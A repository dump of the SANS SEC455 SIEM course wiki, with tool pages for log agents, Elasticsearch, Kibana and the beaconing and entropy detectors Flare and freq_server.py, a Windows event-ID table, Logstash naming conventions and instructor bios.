├── CNAME
├── README.md
├── .gitignore
├── Tools
├── pdfs
│ ├── Bro.pdf
│ ├── ngrep.pdf
│ ├── tcpip.pdf
│ ├── LinuxCLI.pdf
│ ├── Packets.pdf
│ ├── freq.py.pdf
│ ├── tcpdump.pdf
│ ├── tshark.pdf
│ ├── PowerShell.pdf
│ ├── Get-WinEvent.pdf
│ ├── LinuxCLI101.pdf
│ ├── ModSecurity.pdf
│ ├── ScapyCheatSheet_v0.2.pdf
│ ├── WindowsEventLogsTable.pdf
│ ├── ipv6_tcpip_pocketguide.pdf
│ ├── PowerShellCheatSheet_v41.pdf
│ ├── linux-shell-survival-guide.pdf
│ ├── windows-command-line-sheet.pdf
│ └── Summers_PacketAnalysisReferenceGuidev3.4.xlsx
├── NXLog.md
├── RabbitMQ.md
├── ElastAlert.md
├── kopf.md
├── Nessus.md
├── beats.md
├── WindowsEventLogsTable.md
├── Flare.md
├── freq_server.py.md
├── Kibana.md
├── Get-WinEvent.md
├── LinuxCLI101.md
├── domain_stats.py.md
├── freq.py.md
├── LinuxCLI.md
├── PowerShell.md
├── Elasticsearch.md
└── Logstash.md
├── CyberDefense_logo.jpg
├── Resources
├── media
│ ├── image1.png
│ ├── play_speed.png
│ ├── hotspot_images.png
│ ├── video_searching.png
│ ├── table_of_contents.png
│ └── closed_caption_support.png
├── regular-expressions-cheat-sheet-v1.pdf
├── SmartPlayer.md
├── LogStashConfigArch.md
└── FieldNameGuidelines.md
├── Updates
├── Bugs.md
├── Suggest.md
└── style_guide.markdown
├── Instructors
├── JustinHenderson.md
├── JohnHubbard.md
└── TimGarcia.md
├── navigation.md
├── index.md
├── clipboard.svg
└── LICENSE
/CNAME:
--------------------------------------------------------------------------------
1 | 455.sans.blue
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # sec455-wiki
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | Labs/
2 | sec455-labs/
--------------------------------------------------------------------------------
/Tools/pdfs/Bro.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/Bro.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/ngrep.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/ngrep.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/tcpip.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/tcpip.pdf
--------------------------------------------------------------------------------
/CyberDefense_logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/CyberDefense_logo.jpg
--------------------------------------------------------------------------------
/Tools/pdfs/LinuxCLI.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/LinuxCLI.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/Packets.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/Packets.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/freq.py.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/freq.py.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/tcpdump.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/tcpdump.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/tshark.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/tshark.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/PowerShell.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/PowerShell.pdf
--------------------------------------------------------------------------------
/Resources/media/image1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Resources/media/image1.png
--------------------------------------------------------------------------------
/Tools/pdfs/Get-WinEvent.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/Get-WinEvent.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/LinuxCLI101.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/LinuxCLI101.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/ModSecurity.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/ModSecurity.pdf
--------------------------------------------------------------------------------
/Resources/media/play_speed.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Resources/media/play_speed.png
--------------------------------------------------------------------------------
/Resources/media/hotspot_images.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Resources/media/hotspot_images.png
--------------------------------------------------------------------------------
/Resources/media/video_searching.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Resources/media/video_searching.png
--------------------------------------------------------------------------------
/Tools/pdfs/ScapyCheatSheet_v0.2.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/ScapyCheatSheet_v0.2.pdf
--------------------------------------------------------------------------------
/Resources/media/table_of_contents.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Resources/media/table_of_contents.png
--------------------------------------------------------------------------------
/Tools/pdfs/WindowsEventLogsTable.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/WindowsEventLogsTable.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/ipv6_tcpip_pocketguide.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/ipv6_tcpip_pocketguide.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/PowerShellCheatSheet_v41.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/PowerShellCheatSheet_v41.pdf
--------------------------------------------------------------------------------
/Resources/media/closed_caption_support.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Resources/media/closed_caption_support.png
--------------------------------------------------------------------------------
/Tools/pdfs/linux-shell-survival-guide.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/linux-shell-survival-guide.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/windows-command-line-sheet.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/windows-command-line-sheet.pdf
--------------------------------------------------------------------------------
/Resources/regular-expressions-cheat-sheet-v1.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Resources/regular-expressions-cheat-sheet-v1.pdf
--------------------------------------------------------------------------------
/Tools/pdfs/Summers_PacketAnalysisReferenceGuidev3.4.xlsx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sans-blue-team/sec455-wiki/HEAD/Tools/pdfs/Summers_PacketAnalysisReferenceGuidev3.4.xlsx
--------------------------------------------------------------------------------
/Tools/NXLog.md:
--------------------------------------------------------------------------------
1 | NXLog
2 | ========
3 | Abstract
4 | ---------
5 | NXLog is an open source log agent with extensive capabilties. It is one of the most feature rich log agents available.
6 |
7 | Where to Acquire
8 | ---------
9 | NXLog can be downloaded from http://nxlog.co/. It is open source but also has a commercial support offering.
10 |
--------------------------------------------------------------------------------
/Updates/Bugs.md:
--------------------------------------------------------------------------------
1 | # Bugs or Suggestions
2 |
3 | Please let us know if you find any bugs in the courseware/labs/wiki we need to squash. Also, reach out if you have suggestions to improve the course (e.g. content/labs/tools that should be added, removed, or updated). The easiest way to submit these improvements is by sending an email to ****
--------------------------------------------------------------------------------
/Updates/Suggest.md:
--------------------------------------------------------------------------------
1 | # Bugs or Suggestions
2 |
3 | Please let us know if you find any bugs in the courseware/labs/wiki we need to squash. Also, reach out if you have suggestions to improve the course (e.g. content/labs/tools that should be added, removed, or updated). The easiest way to submit these improvements is by sending an email to ****
4 |
--------------------------------------------------------------------------------
/Tools/RabbitMQ.md:
--------------------------------------------------------------------------------
1 | RabbitMQ
2 | ========
3 | Abstract
4 | ---------
5 | RabbitMQ is a log broker/buffer system. It is most commonly referred to as a message broker. It is designed to handle large amounts of data and can buffer logs to either disk or memory.
6 |
7 | Where to Acquire
8 | ---------
9 | RabbitMQ can be found at hhttps://www.rabbitmq.com/. It is open source but also has a commercial support offering.
10 |
11 | Examples/Use Case
12 | ---------
13 | TODO
--------------------------------------------------------------------------------
/Tools/ElastAlert.md:
--------------------------------------------------------------------------------
1 | ElastAlert
2 | ========
3 | Abstract
4 | ---------
5 | ElastAlert is an open source alert engine for Elasticsearch designed and maintained by Yelp. Under the hood it is a python framework that is extensible. While free, ElastAlert is one of the best alert engines for Elasticsearch and can likely meet the needs of most organizations.
6 |
7 | Where to Acquire
8 | ---------
9 | ElastAlert can be found at https://github.com/Yelp/elastalert. It is open source framework. Installation instructions are provided at https://elastalert.readthedocs.io/en/latest/
10 |
11 | Examples/Use Case
12 | ---------
13 | TODO
--------------------------------------------------------------------------------
/Tools/kopf.md:
--------------------------------------------------------------------------------
1 | kopf
2 | ========
3 | Abstract
4 | ---------
5 | kopf is a Kibana plugin used to manage Elasticsearch with a GUI. In Elastic Stack 5.x it has been replaced by Cerebro. For Sec555, use kopf.
6 |
7 | Where to Acquire
8 | ---------
9 | kopf can be downloaded from XYZ.
10 |
11 | Examples/Use Case
12 | ---------
13 | kopf can be used to change index settings as well as to delete indexes.
14 |
15 | #### Accessing kopf
16 | To access kopf, browse to http://server_name_goes_here:5601/_plugin/kopf where **server_name_goes_here** is the name of the Kibana host.
17 |
18 | In the student VM, you can access kopf by going to:
19 | http://localhost:5601/_plugin/kopf
20 |
21 | #### Deleting an index
22 | To delete and index open the kopf home page. Click on the down arrow next to the index you wish to delete and then click on **delete index**.
--------------------------------------------------------------------------------
/Tools/Nessus.md:
--------------------------------------------------------------------------------
1 | Nessus
2 | ========
3 | Abstract
4 | ---------
5 | Nessus is a common commercial Vulnerability Scanner. It can be used to find vulnerabilities and map them to assets.
6 |
7 | Where to Acquire
8 | ---------
9 | Nessus can be downloaded from https://www.tenable.com/products/nessus-vulnerability-scanner.
10 |
11 | Examples/Use Case
12 | ---------
13 | Nessus is primarily thought of as a system used to identify which vulnerabilities exist in an environment. While it does extremely well at this it has other equally important uses. One use case often overlooked is using Nessus to performed authenticated scans with no vulnerability checks. What this provides is a list authorized and potentially unauthorized devices. When combined with a SIEM this can be extremely powerful.
14 |
15 | Another more common use case is to automatically correlate vulnerability data against alerts. This can help prioritize alerts.
--------------------------------------------------------------------------------
/Tools/beats.md:
--------------------------------------------------------------------------------
1 | Beats
2 | ========
3 | Abstract
4 | ---------
5 | Beats is a log agent framework designed by Elastic. Because it is a framework it allows for rapid creation of new, purpose built log agents. Elastic currently supports multiple beats agents such as:
6 |
7 | - Winlogbeat - This agent is useful for collection Windows logs.
8 | - Filebeat - This agent is useful for monitoring and collecting log files. Because of this it is commonly used to collect standard Linux/Unix logs.
9 | - Packetbeat - This agent is useful to monitor and generate logs from network data. It commonly is deployed on a system that uses a promiscuous NIC configuration with data being mirrored to it either with a network tap or port mirroring.
10 |
11 | Where to Acquire
12 | ---------
13 | Beat agents can be found at https://www.elastic.co/products/beats. It is open source but also has a commercial support offering.
14 |
15 | Examples/Use Case
16 | ---------
17 | TODO
--------------------------------------------------------------------------------
/Instructors/JustinHenderson.md:
--------------------------------------------------------------------------------
1 | Justin Henderson, GSE #108
2 | ============
3 |
4 | Contact
5 | -------
6 | **Email** | [justin@hasecuritysolutions.com](mailto:justin@hasecuritysolutions.com)
7 |
8 | **Twitter** | [@SecurityMapper](http://twitter.com/SecurityMapper) [gimmick:TwitterFollow](@SecurityMapper)
9 |
10 | **LinkedIn** | [justinhenderson2014](https://www.linkedin.com/in/justinhenderson2014)
11 |
12 | **Blog** | [Blogs on H & A website](https://www.hasecuritysolutions.com/blog)
13 |
14 |
15 | Affiliations
16 | -------
17 | [SANS Institute](http://www.sans.org) | **Certified SANS Instructor**
18 | [H & A Security Solutions LLC](https://www.hasecuritysolutions.com) | **CEO**
19 |
20 | Bio
21 | -----------
22 |
23 | Justin is a passionate security architect and researcher with over decade of experience working in the Healthcare industry. He has also had multiple opportunities to work on government contracts specializing in network monitoring systems and incident analysis. Justin was the 13th GSE to become both a red and blue SANS Cyber Guardian and holds over 50 industry certifications.
24 |
25 | Recommendations
26 | ----------------
--------------------------------------------------------------------------------
/navigation.md:
--------------------------------------------------------------------------------
1 | SEC455
2 | ======
3 |
4 | [Primers/Reference]()
5 |
6 | - #### Primers
7 | - [Linux CLI 101](/Tools/LinuxCLI101.md)
8 | - [Linux CLI](/Tools/LinuxCLI.md)
9 | - [PowerShell Primer](/Tools/PowerShell.md)
10 | - [PowerShell Get-WinEvent](/Tools/Get-WinEvent.md)
11 | - #### Reference
12 | - [Regex Cheat Sheet by Fedora People](/Resources/regular-expressions-cheat-sheet-v1.pdf)
13 | - [Windows Event Logs Table](/Tools/WindowsEventLogsTable.md)
14 | - [LogStash Config Architecture](/Resources/LogStashConfigArch.md)
15 | - [Field Naming Standards](/Resources/FieldNameGuidelines.md)
16 | - [Smart Player - How To Use](/Resources/SmartPlayer.md)
17 |
18 | [Tools/Commands]()
19 |
20 | - #### Cheat Sheets
21 | - [Elasticsearch](/Tools/Elasticsearch.md)
22 | - [Logstash](/Tools/Logstash.md)
23 | - [Kibana](/Tools/Kibana.md)
24 | - #### Tools
25 |
26 | - [domain_stats.py](/Tools/domain_stats.py.md)
27 | - [Flare](/Tools/Flare.md)
28 | - [freq.py](/Tools/freq.py.md)
29 | - [freq_server.py](/Tools/freq_server.py.md)
30 |
31 | - [NXLog](/Tools/NXLog.md)
32 | - [kopf](/Tools/kopf.md)
33 |
34 |
35 | [Instructors]()
36 |
37 | - #### Authors
38 | - [Justin Henderson](/Instructors/JustinHenderson.md)
39 | - [John Hubbard](/Instructors/JohnHubbard.md)
40 | - #### Instructors
41 | - [Tim Garcia](/Instructors/TimGarcia.md)
42 |
43 | [Updates]()
44 |
45 | - [Submit Bug/Suggestion](/Updates/Bugs.md)
46 | - [Course Suggestion](/Updates/Suggest.md)
47 |
48 |
--------------------------------------------------------------------------------
/Instructors/JohnHubbard.md:
--------------------------------------------------------------------------------
1 | John Hubbard
2 | ============
3 |
4 | Contact
5 | -------
6 | **Email** | [jhub908@gmail.com](mailto:jhub908@gmail.com)
7 |
8 | **Twitter** | [@SecHubb](http://twitter.com/SecHubb) [gimmick:TwitterFollow](@SecHubb)
9 |
10 | **LinkedIn** | [johnhubbard](https://www.linkedin.com/in/johnlhubbard/)
11 |
12 | Affiliations
13 | -------
14 | [SANS Institute](http://www.sans.org) | **Certified SANS Instructor**
15 | [ThreatLogic LLC](https://www.threat-logic.com) | **Co-Founder**
16 |
17 | Bio
18 | -----------
19 |
20 | John is a SANS instructor and co-author of SEC455 - SIEM Design and Implementation. He is a dedicated blue-teamer and is driven to help develop defensive talent around the world. Through his years of experience as the SOC Lead for GlaxoSmithKline, he has real-world, first-hand knowledge of what it takes to defend an organization against advanced cyber-attacks and is eager to share these lessons with his students. As a SANS Cyber Defense curriculum instructor and course author of SEC455, John specializes in threat hunting, network security monitoring, SIEM design and optimization, and constructing defensive postures that allow organizations to protect their most sensitive data. Throughout class, he works with students to explain difficult concepts in relatable and clear language, illustrates important ideas with stories and demonstrations, and encourages students to push themselves beyond the limit of what they thought possible.
21 |
22 | John holds degrees in Electrical and Computer Engineering and his past research spans from malware reverse-engineering to car hacking, mobile app security, and IoT devices. In his free time, John enjoys catching every infosec conference he can attend, FPV drone racing, coffee roasting, and slowly turning his home into a data center. He can be found on LinkedIn and on Twitter @SecHubb.
--------------------------------------------------------------------------------
/Tools/WindowsEventLogsTable.md:
--------------------------------------------------------------------------------
1 | # Windows Event Logs Table
2 |
3 | | Log Name | Provider Name | Event IDs | Description |
4 | | ------------- | ------------- | ------------- | ------------- |
5 | | System || 7045 | A service was installed in the system |
6 | | System || 7030 | ...service is marked as an interactive service. However, the system is configured to not allow interactive services. This service may not function properly.|
7 | | System || 1056 | Create RDP certificate |
8 | | Security || 7045, 10000, 10001, 10100, 20001, 20002, 20003, 24576, 24577, 24579 | Insert USB |
9 | | Security || 4624 | An account was successfully logged on |
10 | | Security || 4625 | An account failed to log on |
11 | | Security || 4698 | User ... registered Task Scheduler task ... |
12 | | Security || 4720 | A user account was created |
13 | | Security || 4722 | A user account was enabled |
14 | | Secutity || 4724, 4738 | Additional user creation events |
15 | | Security || 4728 | A member was added to a security-enabled global group |
16 | | Security || 4732| A member was added to a security-enabled local group |
17 | | Security || 1102 | Clear Event log |
18 | | Application | EMET | 2 | EMET detected ... mitigation and will close the application: ...exe |
19 | | Firewall || 2003 | Disable firewall |
20 | | Microsoft-Windows-AppLocker/EXE and DLL || 8003 | (EXE/MSI) was allowed to run but would have been prevented from running if the AppLocker policy were enforced |
21 | | Microsoft-Windows-AppLocker/EXE and DLL || 8004 | (EXE/MSI) was prevented from running. |
22 | | Microsoft-Windows-WindowsDefender/Operational || 1116 | Windows Defender has detected malware or other potentially unwanted software|
23 | | Microsoft-Windows-WindowsDefender/Operational || 1117 | Windows Defender has taken action to protect this machine from malware or other potentially unwanted software|
24 |
--------------------------------------------------------------------------------
/Tools/Flare.md:
--------------------------------------------------------------------------------
1 | Flare
2 | ========
3 | Abstract
4 | ---------
5 | Flare is a python script designed to identify command and control beaconing. It does this by analyzing flow data stored in Elasticsearch. It should support flow data from various data sources but currently has only been tested with Suricata flow logs.
6 |
7 | **Background:** adversaries like to maintain access to compromised networks and systems. To do this, they often establish a command and control network. Infected systems periodically check in with command and control servers (also known as bot herders)
8 |
9 | **Problem:** detecting connections to command and control servers is extremely hard. Connections may occur only once a day, every X seconds, or on a seemingly random connection pattern
10 |
11 | **Solution:** reach out to Austin Taylor and Flare is born
12 |
13 | Flare helps us solve the problem by applying automated analysis of flow data.
14 |
15 |
16 | Where to Acquire
17 | ---------
18 | Flare can be downloaded from https://github.com/austin-taylor/flare.
19 |
20 | Examples/Use Case
21 | ---------
22 | This is an example configuration to run flare against an Elasticsearch index called lab5.1-complete-suricata:
23 | ```bash
24 | [beacon]
25 | es_host=localhost
26 | es_index=lab5.1-complete-suricata
27 | es_port=9200
28 | es_timeout=480
29 | min_occur=10
30 | min_percent=50
31 | window=2
32 | threads=8
33 | period=26280
34 | kibana_version=4
35 | verbose=True
36 |
37 | #Elasticsearch fields for beaconing
38 | field_source_ip=source_ip
39 | field_destination_ip=destination_ip
40 | field_destination_port=destination_port
41 | field_timestamp=@timestamp
42 | field_flow_bytes_toserver=bytes_to_server
43 | field_flow_id=flow_id
44 | ```
45 |
46 | This is the command to run Flare:
47 | ```bash
48 | flare_beacon -c /labs/lab5.3/files/lab5.3.ini --focus_outbound --whois --group --html=/labs/lab5.3/student/beacons.html
49 | ```
--------------------------------------------------------------------------------
/Instructors/TimGarcia.md:
--------------------------------------------------------------------------------
1 | Tim Garcia
2 | ============
3 |
4 | Contact
5 | -------
6 | **Twitter** | [@tbg911](http://twitter.com/tbg911) [gimmick:TwitterFollow](@tbg911)
7 |
8 | Affiliations
9 | -------
10 | [SANS Institute](http://www.sans.org) | **Certified SANS Instructor**
11 |
12 |
13 | Bio
14 | -----------
15 |
16 | Timothy Garcia is a seasoned security professional who loves the challenge and continuously changing landscape of defense. Tim started his career as an engineer in IT and after working on a few security incidents related to Code Red and Nimda; he realized he had found his calling. Tim currently works as an Information Security Engineer for a Fortune 100 financial institution where he provides security consulting to project teams to ensure security of IT operations and compliance with policies and regulations. Tim also leads the team that is tasked with Firewall review, SIEM management and privileged access monitoring and policy compliance. Tim has worked as a Systems Engineer and DBA and has expertise in systems engineering, project management and information security principles and procedures/compliance. Tim previously worked for Intel and served in the United States Navy. Tim also works with the OnDemand team as an SME, is a mentor for the Vet Success program and provides consulting and content review for the Securing the Human project within SANS. Tim is a contributor to the Arizona Cyber Warfare Range and works with the local security community giving monthly talks, when not teaching for SANS, on information security tools and techniques.
17 |
18 | Tim is as passionate about teaching security as he is performing it and receives the greatest joy when he sees the look in a student's eye when something they never quite understood finally makes sense.
19 |
20 | Tim holds the CISSP, GSEC, GSLC, GISF, GMON, GAWN, GCCC, and GCED as well as the NSA-IAM certifications. He has extensive knowledge of security procedures and legislation such as Sarbanes-Oxley, GLBA, CobiT, COSO, and ISO 1779.
21 |
22 | When Tim is not defending systems, he enjoys playing sports, snowboarding and most of all spending time with his wife and four children
--------------------------------------------------------------------------------
/Resources/SmartPlayer.md:
--------------------------------------------------------------------------------
1 | Smart Player
2 | ======
3 |
4 | Abstract
5 | ----------
6 |
7 | Smart Player is a HTML video player that enhances videos by provided them with extra capabilities such as interactive images, quizzes, closed captions, and search capabilities. It is part of the Camtasia video editing software by Techsmith.
8 |
9 | Capabilities
10 | ----------
11 |
12 | Smart Player is an interactive video player. It allows videos to support extra functionality such as:
13 |
14 | - **Change player speed - natively**
15 | - **Click on items within video to open links**
16 | - **Close Caption Support** (see text of presenter talking)
17 | - **Table of contents** - Allows you to quickly jump to specific sections in a video
18 | - **Search** - Searching allows you to search for any word the presenter has said and then click on the section to jump to that section within the video
19 | ------
20 |
21 | Searching
22 | ----------
23 |
24 | The most time consuming part of Smart Player is making the videos searchable. This extremely awesome capability allows you to jump to any section a specific word or words are spoken as well as quick jump to key sections. This is done by clicking on the Table of Contents icon and either searching for a keyword and clicking on one of the results or clicking on one of the table of content links.
25 |
26 |
27 |
28 |
29 |
30 | Closed Captions
31 | ----------
32 |
33 | Closed captions allows you to read what the video presenter is saying on the screen. To enable it or disable it click on the closed caption icon.
34 |
35 |
36 |
37 | Interactive links
38 | ----------
39 |
40 | Sometimes content within a video is interactive and can be clicked on to open links to relavent information pertaining to the video being watched.
41 |
42 |
43 |
44 | Changing play speed
45 | ----------
46 |
47 | To change the playback speed of a video click on the gear icon and set the playback speed. The choice of speed is a multiplier. For example, selecting 2.0 will make the video play twice as fast as normal. Selecting 0.5 would half the video playback speed.
48 |
49 |
--------------------------------------------------------------------------------
/Resources/LogStashConfigArch.md:
--------------------------------------------------------------------------------
1 | SEC555: LogStash Config Numbering Architecture
2 | ======
3 |
4 | Logstash Naming Logic
5 | ------
6 | Logstash can load a single configuration file or multiple. In production environments, it is recommended to seperate configuration files into seperate pieces. Doing this and using a standard naming convention provides many advantages such as:
7 |
8 | 1. Less code written/code reuse
9 | 2. Standardized field enrichment
10 | 3. Simplified configuration administration
11 |
12 | For example:
13 |
14 | - **0XXX** is for input files. These are used to accept logs off the network or pull logs from a database or log buffer. A file called **0001_input_firewall_palo_alto.conf** may accept firewall logs and **0002_input_bro_conn.conf** may accept bro conn logs
15 | - **1XXX** is for initial parsing. These configuration files parse out the initial fields. **1001_firewall_palo_alto.conf** would parse out the fields for palo alto such as by using kv. **1002_bro_conn.conf** would parse out bro fields either with grok or csv.
16 | - **8XXX** is for post processing. This is were standardized enrichment is applied. For example, you could take the field called source_ip and perform geoip lookups, threat intelligence feed checks, etc in a file called **8001_ip_enrichment.conf**. This file would work for both fields from bro_conn and the firewall logs.
17 |
18 | With the example above you would not have to apply enrichment per each data source as the file 8001_ip_enrichment.conf does it for all logs that have a source_ip field.
19 |
20 | Config Numbering Graphic
21 | ------
22 | The initial recommendation is to use the below numbering schemes with your log files. The scheme uses four digit numbers at the beginning of each configuration file where the first number specifies what the configuration file function is intended for.
23 |
24 | > 
25 |
26 |
27 |
28 | **Warning:** **\*** Post processing assumes standardized field names such as **src\_ip**, **id.orig\_h, ip.src** renamed to **source\_ip**
29 |
30 | SEC555 LogStash Configs
31 | ------
32 |
33 | ### **SEC555 VM**
34 | > LogStash config files are stored on SEC555VM at: **`/opt/Logstash-Configs/configfiles`**
35 |
36 | ### **GitHub**
37 | > Justin Henderson's (@SecurityMapper) LogStash Configs on GitHub:
38 | >
39 |
--------------------------------------------------------------------------------
/Tools/freq_server.py.md:
--------------------------------------------------------------------------------
1 | freq_server.py
2 | ========
3 |
4 | Abstract
5 | --------
6 |
7 | freq_server.py is a python API designed by Mark Baggett to handle mass entropy testing. It was designed to be used in conjunction with a SIEM solutions but can work with anything that can submit a web request.
8 |
9 | **Background:** adversaries attempt to bypass signature based/pattern matching/blacklist techniques by introducing random: filenames, service names, workstation names, domains, hostnames, SSL cert subjects and issuer subjects, etc.
10 |
11 | **Problem:** detecting randomly-generated X is a powerful defensive technique, but hard with a narrow scope.
12 |
13 | **Solution:** ask Mark Baggett for help ...freq_server.py is born
14 |
15 | freq_server.py helps us solve the problem by employing frequency tables that map how likely one character will follow another
16 |
17 | Where to Acquire
18 | ---------
19 |
20 | https://github.com/MarkBaggett/MarkBaggett/blob/master/freq/freq_server.py
21 |
22 |
23 | Examples/Use Case
24 | ---------
25 |
26 | ### Using Logstash to query freq_server.py
27 |
28 | This example Logstash configuration below queries freq_server.py for the entropy score of a domain name (stored in a field called highest_registered_domain). The returned entropy score is then saved into a field called domain_frequency_score.
29 | ```javascript
30 | filter {
31 | rest {
32 | request => {
33 | url => "http://localhost:10004/measure/%{highest_registered_domain}"
34 | }
35 | sprintf => true
36 | json => false
37 | target => "domain_frequency_score"
38 | }
39 | }
40 | ```
41 | Note: The values returned by the rest filter plugin will be strings. If you want them to be floats add this code below the rest filter:
42 | ```javascript
43 | mutate {
44 | convert => [ "domain_frequency_score", "float" ]
45 | }
46 | ```
47 |
48 | The below command is an example of running freq_server.py on port 10004 and using a frequency table of /opt/freq/dns.freq. It does not require root or admin privileges.
49 | ```bash
50 | /usr/bin/python /opt/freq/freq_server.py 10004 /opt/freq/dns.freq
51 | ```
52 |
53 | This is an example of manually querying freq_server.py using curl. It requests the entropy score of sec555.com.
54 | ```bash
55 | $ curl http://127.0.0.1:10004/measure/sec555.com
56 | 20.4191174097
57 | ```
58 |
59 | To generate a custom frequency table see [freq.py](/Tools/freq.py.md). To view additional command line parameters see either the GitHub link above or run the following command:
60 |
61 | ```bash
62 | /usr/bin/python /opt/freq/freq_server.py -h
63 | ```
64 |
65 | ---
66 |
67 | Additional Info
68 | --------------
69 |
70 | https://isc.sans.edu/forums/diary/Continuous+Monitoring+for+Random+Strings/20451/
--------------------------------------------------------------------------------
/Resources/FieldNameGuidelines.md:
--------------------------------------------------------------------------------
1 | Elasticsearch/LogStash Field Names
2 | ========
3 |
4 | Field Name Standards
5 | -----
6 |
7 | > **Note:** Standards are to be considered manadatory conventions
8 |
9 | **1.** Only use lower case characters ("first\_name" instead of "FirstName")
10 |
11 | **2.** Avoid special characters except underscores ("first\_name" instead of "first name")
12 |
13 | **3.** Use underscores to separate words in a field name ("destination\_port" instead of "destinationport")
14 |
15 | **4.** Due to individuals abbreviating differently, do not use abbreviations ("source\_port" instead of "src\_port")
16 |
17 | **5.** Always use singular forms not plural ("message" instead of "messages")
18 |
19 | **6.** Use proper spelling of words
20 |
21 | **7.** IP address fields must end with "\_ip" (this is for dynamic mapping)
22 |
23 | **8.** All IP addresses will receive GeoIP lookups for geo and ASN, which will be added to a corresponding "\*\_geo" field (i.e. "source\_ip" will derive "source\_geo")
24 |
25 | **9.** All IP addresses must be added to the ips array
26 |
27 | **10.** All user fields must be added to the users array (field data from fields such as "user", "source\_user", "destination\_user" should be added to users array)
28 |
29 | Field Name Guidelines
30 | -----
31 |
32 | > **Note:** Guidelines are suggested conventions to adopt, but not as critical as the standards listed above.
33 |
34 | **1.** Use present tense unless field describes historical information (Example: end of connection recording "bytes\_received")
35 |
36 | **2.** Always use singular forms not plural ("message" instead of "messages")
37 |
38 | **Exception:** When describing something that is past tense and the expectation is for multiple values ("bytes\_received" instead of "byte\_received")
39 |
40 | **3.** Whenever possible rename fields to match consistent names so long as renaming the field does not cause the event to lose context
41 | (Example: "unauthorized\_user" may be able to be renamed to "user" if the only event that contains the field "unauthorized\_user" has another field that provides the context of a failed login)
42 |
43 | **4.** Whenever possible, rename field names with the same purpose to one field name ("SrcIP", "SourceIP", "src\_ip", should be consolidated to "source\_ip")
44 |
45 | Common field name replacements
46 | -----
47 |
48 |
49 | *Previous Field Name* | *New Name*
50 | ---------|----------
51 | IPAddress, IP, ip\_addr | ip
52 | SourceIP, src\_ip, local\_ip | source\_ip
53 | DestinationIP,dst\_ip, remip | destination\_ip
54 | Username, User | user
55 | SourcePort, src\_port, locport | source\_port
56 | DestinationPort, dst\_port, remport | destination\_port
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
--------------------------------------------------------------------------------
/Tools/Kibana.md:
--------------------------------------------------------------------------------
1 | Kibana
2 | ========
3 | Abstract
4 | ---------
5 | Kibana is a report engine designed for Elasticsearch. It is a major open source component of the Elastic Stack. It is used to search data and visualize your logs through charts and tables as well as dashboards.
6 |
7 | Where to Acquire
8 | ---------
9 | Kibana can be downloaded from https://www.elastic.co/products/kibana. It is open source but also has a commercial support offering.
10 |
11 | Search Filters
12 | ---------
13 | Below are some of the common search filters used with Kibana.
14 |
